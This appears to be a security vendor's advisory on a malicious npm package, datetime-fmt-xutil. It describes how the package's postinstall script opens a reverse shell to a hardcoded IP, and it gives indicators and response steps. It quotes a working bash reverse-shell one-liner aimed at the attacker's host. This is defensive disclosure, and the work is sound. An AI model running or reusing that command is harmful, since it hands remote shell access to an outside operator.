NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

datetime-fmt-xutilnpm

Advisory published Updated

datetime-fmt-xutil is a confirmed malicious npm package (MAL-2026-13935) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in datetime-fmt-xutil (npm)

MAL-2026-13935
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall datetime-fmt-xutil

What this malware does

The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (bash -i >& /dev/tcp/8.135.48.40/4444 0>&1) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for datetime-fmt-xutil (version 1.0.0).

  2. If you installed it — respond

    datetime-fmt-xutil establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If datetime-fmt-xutil was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. datetime-fmt-xutil on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017626

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks datetime-fmt-xutil-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

datetime-fmt-xutil (npm) malicious package — MAL-2026-13935 | O3 Security